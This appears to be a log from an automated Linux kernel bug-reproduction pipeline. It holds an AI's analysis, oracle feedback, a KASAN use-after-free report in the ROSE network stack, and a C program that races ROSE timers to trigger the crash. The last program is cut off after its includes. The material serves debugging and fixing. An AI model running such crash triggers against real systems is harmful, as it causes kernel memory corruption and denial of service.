Okay, let's break this down. My initial assessment is that the root cause of the reproducer's failure lies in an incorrect usage of `SIOCSIFHWADDR`. The problem is that the code is passing the wrong address family. Specifically, `rose_dev_get` is failing because the hardware address isn't being set correctly during interface configuration. The `bind` call, expecting a specific MAC address (`01:00:00:00:00`), ultimately fails with `-EADDRNOTAVAIL` because the interface hasn't been properly configured with that address. It's clear that the reproducer's `SIOCSIFHWADDR` call is using `AF_ROSE` (11) as the `sa_family`, which is incorrect. The kernel expects `ARPHRD_ROSE` (270) for this hardware. The `strace` output confirms this: `ioctl(4, SIOCSIFHWADDR, ...)` shows `sa_family=0xb`, which is `AF_ROSE`.

Therefore, the crucial first step is to fix the `sa_family` in the reproducer from `AF_ROSE` to `ARPHRD_ROSE` (or 270). The `SIOCSIFHWADDR` operation is failing with `-EINVAL`, a clear indication of an incorrect parameter passed to the ioctl call. This also explains why the `rose0` interface, after the failed ioctl, still has its default MAC address (likely all zeros), and thus doesn't match the address the bind call requires.

Now, let's address the actual bug reported: a KASAN slab-use-after-free write in `rose_send_frame`. The stack trace points to a race condition or a missed timer cancellation related to `rose_neigh`. It seems a `rose_neigh` object is freed by `rose_timer_expiry`, but `rose_t0timer_expiry` is still actively using it. This is a critical timing issue. The object is being freed while another function is still trying to access it.

Based on the stack trace, the sequence is:
1.  A `rose_neigh` is created via `rose_rt_ioctl` (likely a route addition).
2.  Then, a timer is setup via the `rose_neigh` object.
3.  The timer expires.
4.  The `rose_timer_expiry` function runs, and frees the `rose_neigh` object.
5.  A race exists because `rose_t0timer_expiry` is still running when the object is freed, and it attempts to read the freed object.

Given the error, the reproducer's setup phase is failing due to the `SIOCSIFHWADDR` issue, so the race condition is never triggered. I expect that a working reproducer will set up a `rose_neigh` object using `rose_rt_ioctl`, likely a `SIOCADDRT` call to add a ROSE route, and then trigger the timers.

Since the agent is still trying to build a reproducer, the fix should be:
1.  Fix the `sa_family` to `ARPHRD_ROSE` (270) in the `SIOCSIFHWADDR` call.
2.  Ensure that after fixing the `SIOCSIFHWADDR`, `bind()` is successful to ensure the address is configured.
3.  Continue with the rest of the reproducer setup, which will likely involve setting up a ROSE route to trigger the timer.

The `IsProbe` is false, so if the agent fixes the `SIOCSIFHWADDR`, then the execution will probably complete without a crash (assuming they didn't continue on with the bind with the wrong address). I'll wait to review the results after they fix the `SIOCSIFHWADDR` and rerun the reproducer.

map[Feedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed. TitleMatches:false]

map[Feedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed. TitleMatches:false]

map[ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed. ProbeSuccessful:true ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

map[OracleFeedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed.]

gemini-3.1-pro-preview

You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Keep your reasoning short and focus on the next actionable change to the reproducer.
Analyze the technical diagnosis provided in the oracle feedback and translate it
into concrete, step-by-step instructions for the repro-generator on how to modify
the code structure, alignments, offsets, or parameters of the candidate program.
Do NOT repeat searches for the same symbols or files. Use the information you have already gathered.
If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Current Strategy: An excellent analysis of the KASAN report confirms the race condition between the `t3timer` and `t0timer` in the ROSE subsystem. 

### Root Cause Analysis
1. **Neighbour Creation**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created.
2. **Connection & Timer Start**: When a socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and explicitly stops the `t0timer` (`timer_delete_sync`). The socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` sends a `ROSE_CLEAR_REQUEST` frame. This calls `rose_transmit_link()`, which notices that the `t0timer` is not running (because it was stopped by the route deletion) and **restarts the `t0timer`**. `rose_release()` then starts the socket's `t3timer`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If both timers are configured to expire at the same time, they will be queued in the timer wheel together. The timer wheel unlinks both timers and executes their callbacks sequentially.
   - The `t3timer` callback drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Immediately after, the `t0timer` callback accesses the already freed `rose_neigh` object to send a restart request, causing the KASAN Use-After-Free.

### Reproducer
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` and `t0timer` expire simultaneously. We run the sequence in a loop to ensure the race condition is hit.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        ioctl(rsock, SIOCADDRT, &route);
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```
Feedback: The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed.

The feedback clearly indicates that the `SIOCSIFHWADDR` ioctl failed because `ifr.ifr_hwaddr.sa_family` was incorrectly set to `AF_ROSE` (11) instead of the expected hardware type `ARPHRD_ROSE` (270). This failure cascaded, leaving `rose0` without the expected MAC address, which then caused `bind()` to fail with `EADDRNOTAVAIL`.

To fix this, we simply need to include `<net/if_arp.h>` and use `ARPHRD_ROSE` when setting the hardware address for the `rose0` interface.

Here is the updated reproducer:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
